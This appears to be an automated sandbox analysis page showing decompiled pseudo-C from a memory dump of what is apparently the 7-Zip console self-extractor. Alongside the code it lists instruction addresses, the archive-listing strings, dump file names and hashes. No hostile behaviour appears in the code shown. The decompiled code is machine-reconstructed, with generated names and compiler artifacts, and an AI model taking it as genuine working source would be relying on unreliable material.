					 *(_t808 - 0x4d4) =  *(_t808 - 0x18);
					 *((intOrPtr*)(_t808 - 0x48c)) = _t802;
					 *(_t808 - 0x4c8) = _t603;
					 *(_t808 - 0x4c4) = _t799;
					 *((char*)(_t808 - 0x44f)) =  *(_t808 - 0x334);
					E0123232F(_t808 - 0x60);
					_push(_t808 - 0x580);
					_push(_t808 - 0x60);
					_push(_t808 - 0x16c);
					 *(_t808 - 4) = 0x1b;
					 *(_t808 - 0x20) = E0124A895(_t808 - 0xf0, _t808 - 0x330, __eflags);
					E0125FDE9(_t808 - 0x98);
					 *(_t808 - 4) = 0x1c;
					E0123240D(_t808 - 0x94, _t808 - 0x60);
					_t557 =  *0x12746fc; // 0x1274440
					_t759 = _t557;
					__eflags = _t759 - _t802;
					if(_t759 == _t802) {
						_t759 =  *0x1274700; // 0x1274438
					}
					_push( *(_t808 - 0x334));
					_push(_t759);
					_push(_t557);
					_push(_t808 - 0x98);
					asm("sbb edx, edx");
					 *((intOrPtr*)(_t808 - 0x3c)) = E01260733( *(_t808 - 0x20),  ~(_t808 - 0x580) & _t808 - 0x00000578);
					 *(_t808 - 4) = 0x1d;
					E01231ABD(E01231ABD(E01248B2E(_t603, _t808 - 0x88),  *(_t808 - 0x94)),  *((intOrPtr*)(_t808 - 0x60)));
					 *(_t808 - 4) = 9;
					E012605BB(_t603, _t808 - 0x580);
					goto L106;
				} else {
					if( *((char*)(_t808 - 0x1e0)) != 0) {
						_t814 =  *((intOrPtr*)(_t808 - 0x1d8)) - __esi;
						if( *((intOrPtr*)(_t808 - 0x1d8)) == __esi) {
							E01232B8A(_t808 - 0x1dc, "7zCon.sfx");
						}
					}
					E0125E02D(_t808 - 0x41c, _t814);
					_t568 =  *0x12746fc; // 0x1274440
					_t801 =  *(_t808 - 0x18);
					 *(_t808 - 0x364) = _t568;
					_t569 =  *0x1274700; // 0x1274438
					 *(_t808 - 4) = 0x16;
					 *(_t808 - 0x360) = _t569;
					 *(_t808 - 0x370) = _t801;
					if( *((char*)(_t808 - 0x308)) == 0) {
						L8:
						_t15 = _t808 - 0xd;
						 *_t15 =  *(_t808 - 0xd) & 0x00000000;
						__eflags =  *_t15;
						L9:
						 *((char*)(_t808 - 0x34b)) =  *(_t808 - 0xd);
						E01232A8C(_t808 - 0x348, _t808 - 0x304);
						E012603B6(_t808 - 0x578, _t816);
						 *((intOrPtr*)(_t808 - 0x4b0)) =  *((intOrPtr*)(_t808 - 0x134));
						 *(_t808 - 4) = 0x17;
						 *(_t808 - 0x4b4) =  *(_t808 - 0x24);
						if(_t801 != _t802) {
							 *(_t808 - 0x4c4) =  *(_t808 - 0x14) - 1;
						}
						 *((char*)(_t808 - 0x460)) =  *(_t808 - 0xd);
						if( *((char*)(_t808 - 0x308)) == 0 ||  *((intOrPtr*)(_t808 - 0x300)) != _t802) {
							_t34 = _t808 - 0x450;
							 *_t34 =  *(_t808 - 0x450) & 0x00000000;
							__eflags =  *_t34;
						} else {
							 *(_t808 - 0x450) = 1;
						}
						E01232A8C(_t808 - 0x45c, _t808 - 0x304);
						_t799 =  *0x1274700; // 0x1274438
						_t807 =  *0x12746fc; // 0x1274440
						 *((char*)(_t808 - 0x4b8)) =  *((intOrPtr*)(_t808 - 0x1c0));
						E0124C900(_t808 - 0x494);
						 *(_t808 - 0x484) =  *(_t808 - 0x484) & 0x00000000;
						 *(_t808 - 0x4c0) = _t807;
						 *(_t808 - 0x4bc) = _t799;
						 *(_t808 - 0x4cc) =  *(_t808 - 0x18);
						E0125FDE9(_t808 - 0x70);
						_push(1);
						_push(_t808 - 0x578);
						_push(_t808 - 0x41c);
						_push(_t808 - 0x70);
						_push(_t808 - 0x284);
						_push(_t808 - 0x330);
						_push(_t808 - 0x314);
						 *(_t808 - 4) = 0x18;
						 *(_t808 - 0x20) = E01254C61(_t603, _t808 - 0xc4);
						if( *(_t808 - 0x4cc) != 0) {
							E0126183F(_t808 - 0x570, _t799, 1);
						}
						_t590 =  *0x12746fc; // 0x1274440
						_t772 = _t590;
						_t822 = _t772;
						if(_t772 == 0) {
							_t772 =  *0x1274700; // 0x1274438
						}
						_push(1);
						_push(_t772);
						_push(_t590);
						_push(_t808 - 0x70);
						asm("sbb edx, edx");
						 *((intOrPtr*)(_t808 - 0x3c)) = E01260733( *(_t808 - 0x20),  ~(_t808 - 0x578) & _t808 - 0x00000570);
						 *(_t808 - 4) = 0x19;
						E01231ABD(E01248B2E(_t603, _t808 - 0x60),  *((intOrPtr*)(_t808 - 0x6c)));
						 *(_t808 - 4) = 0x16;
						_t596 = E01260FAB(_t603, _t808 - 0x578);
						 *(_t808 - 4) = 9;
						E01231ABD(_t596,  *(_t808 - 0x348));
						E012617A6(_t808 - 0x414, _t799, _t822);
						goto L106;
					}
					_t816 =  *((intOrPtr*)(_t808 - 0x300)) - _t802;
					if( *((intOrPtr*)(_t808 - 0x300)) == _t802) {
						goto L8;
					} else {
						 *(_t808 - 0xd) = 1;
						goto L9;
					}
				}
			}

0x0125eee3
0x0125eee3
0x0125eeea
0x0125f24b
0x0125f24d
0x0125f250
0x0125f253
0x0125f256
0x0125f259
0x0125f25c
0x0125f25f
0x0125f266
0x0125f26c
0x0125f270
0x0125f295
0x0125f2a0
0x0125f2aa
0x0125f2af
0x0125f2bf
0x0125f2c6
0x0125f2c8
0x0125f2ce
0x0125f2da
0x0125f2e3
0x0125f2ed
0x0125f2ef
0x0125f2f5
0x0125f2f7
0x0125f2fe
0x0125f309
0x0125f30f
0x0125f30f
0x0125f2fe
0x0125f31a
0x0125f320
0x0125f326
0x0125f32c
0x0125f332
0x0125f338
0x0125f33e
0x0125f344
0x0125f34a
0x0125f350
0x0125f356
0x0125f35c
0x0125f35f
0x0125f367
0x0125f374
0x0125f37b
0x0125f37f
0x0125f383
0x0125f384
0x0125f38b
0x0125f38f
0x0125f394
0x0125f397
0x0125f39e
0x0125f3a3
0x0125f3aa
0x0125f3b4
0x0125f3b4
0x0125f3b9
0x0125f3bc
0x0125f3be
0x0125f3c5
0x0125f3d3
0x0125f3d4
0x0125f3d4
0x0125f3c5
0x0125f3df
0x0125f3e3
0x0125f3e8
0x0125f3eb
0x0125fab8
0x0125fabb
0x0125fabf
0x0125fac7
0x0125facb
0x0125fad0
0x0125fad7
0x0125fae2
0x0125fae2
0x0125faf5
0x0125fafb
0x0125fb05
0x0125fb0a
0x0125fb0d
0x0125fb11
0x0125fb13
0x0125fb15
0x0125fb15
0x0125fb20
0x0125fb24
0x0125fb2f
0x0125fb33
0x0125fb38
0x0125fb42
0x0125fb47
0x0125fb4e
0x0125fb53
0x0125fb5c
0x0125fb64
0x0125f3f1
0x0125f3f1
0x0125f3f1
0x0125f3f5
0x0125f9c8
0x0125f9cc
0x0125f9d3
0x0125f9da
0x0125f9e1
0x0125f9e2
0x0125f9e5
0x0125f9eb
0x0125f9ee
0x0125f9f1
0x0125f9f6
0x0125f9fc
0x0125f9fc
0x0125fa02
0x0125fa06
0x0125fa12
0x0125fa18
0x0125fa1c
0x0125fa23
0x0125fa29
0x0125fa2a
0x0125fa2f
0x0125fa36
0x0125fa3e
0x0125fa74
0x0125fa74
0x0125fa77
0x0125fa7e
0x0125fa7e
0x0125fa85
0x0125fa89
0x0125fa99
0x0125faac
0x0125faac
0x0125fab1
0x00000000
0x0125fab1
0x0125fa79
0x0125fa7c
0x00000000
0x00000000
0x00000000
0x0125fa40
0x0125fa40
0x0125fa43
0x0125fa4a
0x0125fa4c
0x0125fa5c
0x0125fa6f
0x00000000
0x0125fa6f
0x0125fa45
0x0125fa48
0x00000000
0x00000000
0x00000000
0x0125fa48
0x0125fa3e
0x0125f3fb
0x0125f400
0x0125f406
0x0125f409
0x0125f40b
0x0125f40f
0x0125f41c
0x0125f41c
0x0125f411
0x0125f418
0x0125f418
0x0125f41e
0x0125f420
0x0125f424
0x0125f427
0x0125f42c
0x0125f42c
0x0125f435
0x0125f43b
0x0125f448
0x0125f44c
0x0125f462
0x0125f467
0x0125f46e
0x0125f471
0x0125f47d
0x0125f486
0x0125f48c
0x0125f491
0x0125f491
0x0125f492
0x0125f492
0x0125f49e
0x0125f4b0
0x0125f4b4
0x0125f4bf
0x0125f4c6
0x0125f4cc
0x0125f4d2
0x0125f4d8
0x0125f4e1
0x0125f4ed
0x0125f4f4
0x0125f4fc
0x0125f507
0x0125f50b
0x0125f510
0x0125f516
0x0125f51a
0x0125f51d
0x0125f52b
0x0125f534
0x0125f53b
0x0125f543
0x0125f543
0x0125f554
0x0125f55a
0x0125f55b
0x0125f562
0x0125f565
0x0125f566
0x0125f573
0x0125f574
0x0125f575
0x0125f57c
0x0125f586
0x0125f58d
0x0125f58e
0x0125f593
0x0125f599
0x0125f59c
0x0125f5a0
0x0125f5a3
0x0125f5a3
0x0125f5a8
0x0125f5ab
0x0125f5ad
0x0125f5b2
0x0125f5b4
0x0125f5b8
0x0125f5bb
0x0125f5ca
0x0125f5d1
0x0125f5d9
0x0125f5e3
0x0125f5e3
0x0125f5e8
0x0125f5eb
0x0125f5ed
0x0125f5ed
0x0125f5eb
0x0125f5f4
0x0125f5fa
0x0125f5fe
0x0125f600
0x0125f664
0x0125f66a
0x0125f670
0x0125f672
0x0125f674
0x0125f678
0x0125f681
0x0125f69a
0x0125f69a
0x0125f678
0x0125f6a5
0x0125f6ab
0x0125f6de
0x0125f6de
0x0125f6e0
0x0125f6e8
0x0125f6e8
0x0125f6ee
0x0125f6f1
0x0125f6fa
0x0125f6fd
0x0125f712
0x0125f712
0x0125f71d
0x0125f723
0x0125f727
0x0125f732
0x0125f738
0x0125f741
0x0125f75a
0x0125f75a
0x0125f738
0x0125f723
0x00000000
0x0125f6ad
0x0125f6ad
0x0125f6af
0x0125f6b3
0x0125f75f
0x0125f765
0x0125f76b
0x0125f7af
0x0125f7af
0x0125f7b3
0x0125f7bc
0x0125f7bc
0x0125f7be
0x0125f975
0x0125f97b
0x0125f987
0x0125f993
0x0125f9a2
0x0125f9a7
0x0125f9aa
0x0125f9ae
0x0125f9b7
0x0125f9b7
0x00000000
0x0125f9ae
0x0125f7ca
0x0125f7d0
0x0125f939
0x0125f93b
0x0125f946
0x0125f946
0x0125f94c
0x0125f94f
0x0125f958
0x0125f95b
0x0125f970
0x0125f970
0x00000000
0x0125f94f
0x0125f7dc
0x0125f7dc
0x0125f7e2
0x0125f7e5
0x00000000
0x00000000
0x0125f7eb
0x0125f7ef
0x00000000
0x00000000
0x0125f7f5
0x0125f7fd
0x0125f803
0x0125f80c
0x0125f825
0x0125f82a
0x0125f82a
0x0125f830
0x0125f837
0x0125f855
0x0125f85c
0x0125f875
0x0125f880
0x0125f883
0x0125f88c
0x0125f8a2
0x0125f8ae
0x0125f8c7
0x0125f8c7
0x00000000
0x0125f839
0x0125f839
0x0125f840
0x00000000
0x00000000
0x0125f842
0x0125f848
0x00000000
0x00000000
0x0125f850
0x0125f853
0x0125f8cc
0x0125f8d3
0x0125f8ec
0x0125f8ef
0x0125f8fe
0x0125f918
0x0125f91d
0x0125f921
0x0125f925
0x0125f932
0x0125f932
0x00000000
0x0125f921
0x00000000
0x0125f853
0x0125f837
0x0125f7b5
0x0125f7b5
0x00000000
0x0125f7b5
0x0125f76d
0x0125f76f
0x0125f773
0x00000000
0x00000000
0x0125f777
0x0125f782
0x0125f788
0x00000000
0x00000000
0x0125f791
0x0125f7aa
0x00000000
0x0125f7aa
0x0125f6c0
0x0125f6d9
0x00000000
0x0125f6d9
0x0125f602
0x0125f604
0x0125f609
0x0125f610
0x0125f61b
0x0125f622
0x0125f625
0x0125f63a
0x0125f646
0x0125f65f
0x00000000
0x0125f65f
0x0125f612
0x0125f619
0x00000000
0x00000000
0x00000000
0x0125f619
0x0125f600
0x0125f3eb
0x0125f27b
0x0125f27c
0x0125f28a
0x0125f28b
0x00000000
0x0125f28b
0x0125eefd
0x0125f10a
0x0125f111
0x0125f240
0x0125f241
0x00000000
0x0125f241
0x0125f11d
0x0125f122
0x0125f125
0x0125f129
0x0125f12e
0x0125f12e
0x0125f12f
0x0125f12f
0x0125f135
0x0125f13b
0x0125f147
0x0125f152
0x0125f15e
0x0125f164
0x0125f16a
0x0125f170
0x0125f176
0x0125f187
0x0125f18b
0x0125f192
0x0125f199
0x0125f1a8
0x0125f1ab
0x0125f1ba
0x0125f1be
0x0125f1c3
0x0125f1c8
0x0125f1ca
0x0125f1cc
0x0125f1ce
0x0125f1ce
0x0125f1d4
0x0125f1e2
0x0125f1e6
0x0125f1ed
0x0125f1f4
0x0125f1fd
0x0125f206
0x0125f21d
0x0125f223
0x0125f22e
0x00000000
0x0125ef03
0x0125ef0a
0x0125ef0c
0x0125ef12
0x0125ef1f
0x0125ef1f
0x0125ef12
0x0125ef2a
0x0125ef2f
0x0125ef34
0x0125ef3e
0x0125ef44
0x0125ef49
0x0125ef4d
0x0125ef53
0x0125ef59
0x0125ef69
0x0125ef69
0x0125ef69
0x0125ef69
0x0125ef6d
0x0125ef76
0x0125ef83
0x0125ef8e
0x0125ef9b
0x0125efa4
0x0125efa8
0x0125efae
0x0125efb4
0x0125efb4
0x0125efc4
0x0125efca
0x0125efdd
0x0125efdd
0x0125efdd
0x0125efd4
0x0125efd4
0x0125efd4
0x0125eff1
0x0125effc
0x0125f002
0x0125f00e
0x0125f014
0x0125f01c
0x0125f026
0x0125f02c
0x0125f032
0x0125f038
0x0125f043
0x0125f045
0x0125f04c
0x0125f050
0x0125f057
0x0125f05e
0x0125f065
0x0125f06e
0x0125f07e
0x0125f081
0x0125f08b
0x0125f08b
0x0125f090
0x0125f095
0x0125f097
0x0125f099
0x0125f09b
0x0125f09b
0x0125f0a1
0x0125f0a3
0x0125f0a7
0x0125f0b3
0x0125f0ba
0x0125f0c3
0x0125f0c9
0x0125f0d5
0x0125f0db
0x0125f0e5
0x0125f0ea
0x0125f0f4
0x0125f100
0x00000000
0x0125f100
0x0125ef5b
0x0125ef61
0x00000000
0x0125ef63
0x0125ef63
0x00000000
0x0125ef63
0x0125ef61

Strings

Sub items Errors: , xrefs: 0125F953
Size: , xrefs: 0125F8CE
Can't open as archive: , xrefs: 0125F67C
OK archives: , xrefs: 0125F641
7zCon.sfx, xrefs: 0125EF14
Archives: , xrefs: 0125F61D
F#v, xrefs: 0125F0A3, 0125F0A7, 0125F1E2, 0125F1E6, 0125F61B, 0125F63F, 0125F67A, 0125F6B9, 0125F6F3, 0125F73A, 0125F78A, 0125F805, 0125F855, 0125F885, 0125F8A7, 0125F8CC, 0125F951
Warnings: , xrefs: 0125F73C
Folders: , xrefs: 0125F807
Open Errors: , xrefs: 0125F78C
Files: , xrefs: 0125F857
Alternate Streams: , xrefs: 0125F887
ERROR:, xrefs: 0125F5C5
Compressed: , xrefs: 0125F8F9
Alternate Streams Size: , xrefs: 0125F8A9
Archives with Errors: , xrefs: 0125F6BB
Archives with Warnings: , xrefs: 0125F6F5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$ExceptionThrow
String ID: F#v$7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 3665150552-897916364
Opcode ID: 1b79a7ce200d9d822bb7a2d6d88e1882a7b94c5ed262e3ec59c31eec41704b24
Instruction ID: d1fac9547e3de83f5360b56d30fd85b0fd3a36582bcc70f6d6cbf2edbc1b5fa0
Opcode Fuzzy Hash: 1b79a7ce200d9d822bb7a2d6d88e1882a7b94c5ed262e3ec59c31eec41704b24
Instruction Fuzzy Hash: 6752AB71D2025ADFDF26EBA4CD84BEDBBB5BF94300F04409AD549A7290DB306A94CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0125E64B Relevance: 53.2, APIs: 19, Strings: 11, Instructions: 728
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0125E64B(void* __ebx, void* __edi, struct _IO_FILE** __esi) {
				char* _t629;
				void* _t636;
				signed char _t638;
				struct _IO_FILE** _t644;
				void* _t646;
				struct _IO_FILE** _t647;
				struct _IO_FILE** _t659;
				signed char _t664;
				struct _IO_FILE** _t668;
				char* _t677;
				signed int _t681;
				signed int _t689;
				struct _IO_FILE** _t701;
				void* _t717;
				void* _t722;
				signed int _t723;
				void* _t756;
				struct _IO_FILE** _t783;
				signed char _t797;
				signed char _t810;
				struct _IO_FILE** _t824;
				signed char _t833;
				struct _IO_FILE** _t835;
				struct _IO_FILE** _t836;
				struct _IO_FILE** _t856;
				signed char _t857;
				void* _t863;
				signed char _t868;
				struct _IO_FILE** _t870;
				struct _IO_FILE** _t871;
				struct _IO_FILE** _t872;
				struct _IO_FILE** _t874;
				int _t882;
				signed int _t886;
				intOrPtr* _t892;
				void* _t893;
				char** _t902;
				signed char _t921;
				signed char _t927;
				char** _t938;
				signed int _t948;
				signed int _t954;
				void* _t982;
				signed int _t986;
				signed char _t990;
				unsigned int _t991;
				unsigned int _t992;
				signed char _t993;
				signed int _t997;
				signed int _t1015;
				signed char _t1017;
				signed int _t1032;
				void* _t1035;
				signed int _t1037;
				signed int _t1039;
				signed int _t1054;
				void* _t1056;
				void* _t1058;
				intOrPtr* _t1059;
				struct _IO_FILE** _t1061;
				struct _IO_FILE** _t1230;
				signed char _t1243;
				signed char _t1350;
				signed int _t1369;
				void* _t1379;
				void* _t1395;
				signed char _t1396;
				signed int _t1397;
				signed int _t1399;
				struct _IO_FILE** _t1400;
				signed char _t1403;
				struct _IO_FILE** _t1405;
				void* _t1406;
				void* _t1408;
				void* _t1410;
				void* _t1433;
				void* _t1462;
				signed int _t1467;
				void* _t1470;

				_t1400 = __esi;
				_t1395 = __edi;
				_t1061 =  *0x12746fc; // 0x1274440
				E01260640(_t1061, 0);
				_push(_t1406 - 0x33c);
				E0123B97D(__ebx, _t1406 - 0x448, __edi, __esi);
				 *(_t1406 - 0x24) = __ebx;
				if( *((intOrPtr*)(_t1406 - 0x134)) == __esi ||  *((intOrPtr*)(_t1406 - 0x138)) !=  *((intOrPtr*)(_t1406 - 0x140))) {
					 *(_t1406 - 0x24) = _t1395;
				}
				_t1396 = 0x50;
				 *(_t1406 - 0x14) = _t1396;
				if( *(_t1406 - 0x18) != _t1400 && GetConsoleScreenBufferInfo(GetStdHandle(0xfffffff5), _t1406 - 0x6c) != 0) {
					 *(_t1406 - 0x14) =  *(_t1406 - 0x6c);
				}
				_push(_t1396);
				_t629 = E01231A96();
				 *(_t1406 - 0x34) = _t629;
				_t1417 = _t629 - _t1400;
				 *(_t1406 - 4) = 4;
				if(_t629 == _t1400) {
					_t1054 = 0;
					__eflags = 0;
				} else {
					_t1054 = E0125FB71(_t629);
				}
				 *(_t1406 - 0x1c) = _t1054;
				 *(_t1406 - 4) = 3;
				E01260F0E(_t1406 - 0xf0);
				 *(_t1406 - 4) = 5;
				E01240E48(_t1406 - 0xf0, _t1054);
				_t20 = _t1054 + 4; // 0x4
				asm("sbb ecx, ecx");
				E01240E48(_t1406 - 0xec,  ~_t1054 & _t20);
				 *((char*)(_t1054 + 0x4c)) =  *((intOrPtr*)(_t1406 - 0x33b));
				 *(_t1406 - 4) = 6;
				 *(_t1406 - 0xf4) = _t1054;
				 *((char*)(_t1054 + 0x4d)) =  *((intOrPtr*)(_t1406 - 0x33a));
				_t636 = E0124BD45(_t1054, _t1417); // executed
				E012609F5(_t636);
				_t638 = E0123B5FD(_t1406 - 0x318);
				 *(_t1406 - 0xd) = _t638;
				if( *((intOrPtr*)(_t1054 + 0x2c)) == _t1400 && (_t638 != 0 ||  *((intOrPtr*)(_t1406 - 0x318)) == 6 || E0123B621(_t1406 - 0x318) != 0)) {
					if( *((intOrPtr*)(_t1054 + 0x1c)) != _t1400) {
						E0123296F(_t1406 - 0x60, "Can\'t load module: ");
						_t1054 = _t1054 + 0x18;
						_t1423 = _t1054;
						 *(_t1406 - 4) = 7;
						E01232C71(_t1406 - 0x60, _t1054, _t1054);
						E012329BC(_t1406 - 0x54, _t1054, _t1406 - 0x60);
						_push(0x1270e80);
						_push(_t1406 - 0x54);
						L01263CAC();
					}
					_t1039 =  *0x126b790; // 0x126b7b4
					_push(0x126da90);
					 *(_t1406 - 0x28) = _t1039;
					_push(_t1406 - 0x28);
					L01263CAC();
				}
				 *(_t1406 - 0xc4) = _t1400;
				 *(_t1406 - 0xc0) = _t1400;
				 *(_t1406 - 0xbc) = _t1400;
				_t1369 = _t1406 - 0x158;
				_push(_t1406 - 0xc4);
				 *(_t1406 - 4) = 8;
				if(E01252E8E(_t1054, _t1369, _t1423) == 0) {
					_t1037 =  *0x126b794; // 0x126b798
					_push(0x126da90);
					 *(_t1406 - 0x28) = _t1037;
					_push(_t1406 - 0x28);
					L01263CAC();
				}
				 *(_t1406 - 0xd0) = _t1400;
				 *(_t1406 - 0xcc) = _t1400;
				 *(_t1406 - 0xc8) = _t1400;
				_t1397 = 0;
				 *(_t1406 - 4) = 9;
				if( *((intOrPtr*)(_t1406 - 0x148)) <= _t1400) {
					L23:
					if( *(_t1406 - 0xd) != 0 ||  *((intOrPtr*)(_t1406 - 0x318)) == 9) {
						L26:
						E012609F5(E01238785(_t1406 - 0xf0, _t1431));
						goto L27;
					} else {
						_t1431 =  *((intOrPtr*)(_t1406 - 0x318)) - 7;
						if( *((intOrPtr*)(_t1406 - 0x318)) != 7) {
							L27:
							 *(_t1406 - 0x3c) = _t1400;
							 *(_t1406 - 0x20) = _t1400;
							if( *((intOrPtr*)(_t1406 - 0x318)) != 8) {
								__eflags =  *((intOrPtr*)(_t1406 - 0x318)) - 7;
								if( *((intOrPtr*)(_t1406 - 0x318)) != 7) {
									__eflags =  *(_t1406 - 0xd);
									if( *(_t1406 - 0xd) != 0) {
										L119:
										_t1397 = 0;
										 *(_t1406 - 0x48) = 0;
										 *((intOrPtr*)(_t1406 - 0x44)) = 0;
										 *((intOrPtr*)(_t1406 - 0x40)) = 0;
										 *(_t1406 - 0x54) = 0;
										 *(_t1406 - 0x50) = 0;
										 *(_t1406 - 0x4c) = 0;
										__eflags =  *((char*)(_t1406 - 0x336));
										_t1054 = fputs;
										 *(_t1406 - 4) = 0xd;
										if(__eflags == 0) {
											_push(0xc8);
											 *((intOrPtr*)(_t1406 - 0x3fc)) = 0x126c6a0;
											E0125E094(_t1406 - 0x3ec, __eflags);
											 *((intOrPtr*)(_t1406 - 0x3fc)) = 0x126c698;
											_t644 =  *0x12746fc;
											asm("sbb ecx, ecx");
											 *(_t1406 - 4) = 0xe;
											 *(_t1406 - 0x3f8) =  ~( *(_t1406 - 0x334)) & _t644;
											 *(_t1406 - 0x3f4) =  *0x1274700;
											 *(_t1406 - 0x348) =  *(_t1406 - 0x18);
											__eflags = _t644;
											 *((intOrPtr*)(_t1406 - 0x340)) =  *(_t1406 - 0x14) - 1;
											if(_t644 != 0) {
												__eflags =  *(_t1406 - 0x334);
												if( *(_t1406 - 0x334) != 0) {
													fputs("Scanning the drive for archives:",  *_t644);
													E01231CAE(_t644);
												}
											}
											 *(_t1406 - 0xac) = _t1397;
											 *(_t1406 - 0xa8) = _t1397;
											 *(_t1406 - 0xa4) = _t1397;
											 *(_t1406 - 0xa0) = _t1397;
											 *(_t1406 - 0x9c) = _t1397;
											 *(_t1406 - 0x98) = _t1397;
											 *(_t1406 - 0x94) = _t1397;
											 *(_t1406 - 0x90) = _t1397;
											 *(_t1406 - 0x8c) = _t1397;
											 *(_t1406 - 0x88) = _t1397;
											 *(_t1406 - 0x84) = _t1397;
											 *(_t1406 - 0x80) = _t1397;
											E0125A34A(_t1406 - 0x3fc);
											_t646 = E012328E9(_t1406 - 0x60);
											_push(_t1406 - 0x3fc);
											_push(_t1406 - 0xac);
											_push(_t1406 - 0x54);
											_push(_t1406 - 0x48);
											_push(_t646);
											 *(_t1406 - 4) = 0xf;
											_t647 = E01248549(_t1054, _t1406 - 0x2e4, 0, _t1397, __eflags); // executed
											 *(_t1406 - 0x20) = _t647;
											 *(_t1406 - 4) = 0xe;
											E01231ABD(_t647,  *((intOrPtr*)(_t1406 - 0x60)));
											__eflags =  *(_t1406 - 0x348) - _t1397;
											if( *(_t1406 - 0x348) != _t1397) {
												E0126183F(_t1406 - 0x3ec, _t1397, 1);
											}
											__eflags =  *(_t1406 - 0x20) - _t1397;
											if(__eflags == 0) {
												__eflags =  *(_t1406 - 0x334);
												if(__eflags != 0) {
													_push(_t1406 - 0xac);
													E0125A6F7(_t1406 - 0x3fc);
												}
											}
											 *(_t1406 - 4) = 0xd;
											E012617A6(_t1406 - 0x3ec, _t1397, __eflags);
											__eflags =  *(_t1406 - 0x20) - _t1397;
											if( *(_t1406 - 0x20) != _t1397) {
												L197:
												 *(_t1406 - 4) = 0xc;
												E01248B2E(_t1054, _t1406 - 0x54);
												 *(_t1406 - 4) = 9;
												E01248B2E(_t1054, _t1406 - 0x48);
												goto L198;
											} else {
												L130:
												__eflags =  *(_t1406 - 0xd);
												if( *(_t1406 - 0xd) == 0) {
													_push(_t1406 - 0x38);
													_push(_t1406 - 0x2c);
													_push(_t1406 - 0x2c0);
													_push(_t1406 - 0x304);
													_push(_t1406 - 0x308);
													 *(_t1406 - 0x2c) = _t1397;
													_push( *((intOrPtr*)(_t1406 - 0x2f8)));
													 *(_t1406 - 0x28) = _t1397;
													 *(_t1406 - 0x38) = _t1397;
													 *(_t1406 - 0x34) = _t1397;
													_push( *(_t1406 - 0x334));
													_t664 =  *((intOrPtr*)( *((intOrPtr*)(_t1406 - 0x330)))) + 0xc;
													__eflags = _t664;
													_push(_t664);
													_push( *((intOrPtr*)(_t1406 - 0x28e)));
													_push( *((intOrPtr*)(_t1406 - 0x296)));
													_push(_t1406 - 0x54);
													_push(_t1406 - 0x48);
													_push( *((intOrPtr*)(_t1406 - 0x336)));
													_push(_t1406 - 0xd0);
													_t668 = L0125D42A( *(_t1406 - 0x1c), _t1406 - 0xc4, _t664);
													__eflags =  *(_t1406 - 0x334);
													 *(_t1406 - 0x20) = _t668;
													if( *(_t1406 - 0x334) == 0) {
														L192:
														__eflags =  *(_t1406 - 0x28) - _t1397;
														if( *(_t1406 - 0x28) > _t1397) {
															L194:
															__eflags =  *(_t1406 - 0x334);
															if( *(_t1406 - 0x334) != 0) {
																E01231CAE(0x1274440);
																 *_t1054("Errors: ",  *0x1274440);
																E01231CAE(E01231F47(0x1274440,  *(_t1406 - 0x2c),  *(_t1406 - 0x28)));
															}
															 *(_t1406 - 0x3c) = 2;
															goto L197;
														}
														__eflags =  *(_t1406 - 0x2c) - _t1397;
														if( *(_t1406 - 0x2c) <= _t1397) {
															goto L197;
														}
														goto L194;
													} else {
														__eflags =  *(_t1406 - 0x34) - _t1397;
														if( *(_t1406 - 0x34) > _t1397) {
															L191:
															E01231CAE(0x1274440);
															 *_t1054("Warnings: ",  *0x1274440);
															E01231CAE(E01231F47(0x1274440,  *(_t1406 - 0x38),  *(_t1406 - 0x34)));
															goto L192;
														}
														__eflags =  *(_t1406 - 0x38) - _t1397;
														if( *(_t1406 - 0x38) <= _t1397) {
															goto L192;
														}
														goto L191;
													}
												}
												_push(0x178);
												_t677 = E01231A96();
												 *(_t1406 - 0x34) = _t677;
												__eflags = _t677 - _t1397;
												 *(_t1406 - 4) = 0x10;
												if(__eflags == 0) {
													_t1403 = 0;
													__eflags = 0;
												} else {
													_t1403 = E01260157(_t677, __eflags);
												}
												__eflags = _t1403 - _t1397;
												 *(_t1406 - 4) = 0xd;
												 *(_t1406 - 0x34) = _t1403;
												if(_t1403 != _t1397) {
													 *((intOrPtr*)( *_t1403 + 4))(_t1403);
												}
												_t423 = _t1403 + 0xe4; // 0xe4
												 *((char*)(_t1403 + 0xe1)) =  *((intOrPtr*)(_t1406 - 0x308));
												 *(_t1406 - 4) = 0x11;
												E01232A8C(_t423, _t1406 - 0x304);
												_t681 = E012602D6(_t1403,  *0x12746fc,  *0x1274700,  *(_t1406 - 0x18));
												__eflags =  *((intOrPtr*)(_t1406 - 0x44)) - 1;
												__eflags =  *(_t1406 - 0x18) - _t1397;
												 *((char*)(_t1403 + 0xe0)) = _t681 & 0xffffff00 |  *((intOrPtr*)(_t1406 - 0x44)) - 0x00000001 > 0x00000000;
												 *((intOrPtr*)(_t1403 + 0x170)) =  *((intOrPtr*)(_t1406 - 0x134));
												 *((intOrPtr*)(_t1403 + 0x16c)) =  *(_t1406 - 0x24);
												if(__eflags != 0) {
													_t797 =  *(_t1406 - 0x14) - 1;
													__eflags = _t797;
													 *(_t1403 + 0xc4) = _t797;
												}
												E0125FD74(_t1406 - 0x12c, __eflags);
												 *(_t1406 - 4) = 0x12;
												E01260F65(_t1406 - 0x12c, _t1406 - 0x2b4);
												__eflags =  *((intOrPtr*)(_t1406 - 0x318)) - 3;
												 *((char*)(_t1406 - 0x108)) =  *((intOrPtr*)(_t1406 - 0x336));
												_t689 =  *((intOrPtr*)(_t1406 - 0x333));
												 *(_t1406 - 0x106) = _t689;
												 *(_t1406 - 0x107) = _t689;
												 *((char*)(_t1406 - 0x105)) = _t689 & 0xffffff00 |  *((intOrPtr*)(_t1406 - 0x318)) == 0x00000003;
												_push(_t1406 - 0x2c0);
												E0123D18C(_t1406 - 0x104);
												E012328E9(_t1406 - 0x60);
